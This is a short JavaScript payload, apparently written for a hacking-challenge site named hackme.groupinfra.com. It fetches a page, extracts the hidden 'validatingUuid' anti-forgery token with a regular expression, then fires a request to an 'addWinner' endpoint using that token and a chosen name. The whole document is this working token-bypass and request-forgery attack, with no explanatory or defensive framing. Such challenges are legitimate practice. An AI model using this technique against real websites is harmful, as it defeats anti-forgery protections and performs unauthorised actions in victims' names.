function test() {
    var req = null;
    try {
        req = new XMLHttpRequest()
    } catch (e) {}
    if (!req) try {
        req = new ActiveXObject("Msxml2.XMLHTTP")
    } catch (e) {}
    if (!req) try {
        req = new ActiveXObject("Microsoft.XMLHTTP")
    } catch (e) {}
    $.ajax({
        type: 'GET',
        url: 'http://hackme.groupinfra.com/obiwan/pages/index',
        success: function(resp) {
            matches = resp.match('<input type="hidden" name="validatingUuid" value="([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[34][0-9a-fA-F]{3}-[89ab][0-9a-fA-F]{3}-[0-9a-fA-F]{12})" />');
            console.log(matches[1]);
            req.open('GET', 'http://hackme.groupinfra.com/obiwan/pages/addWinner?name=Vincent Penvern&validatingUuid=' + matches[1], false);
            req.send(null)
        },
        error: function() {}
    })
}
test();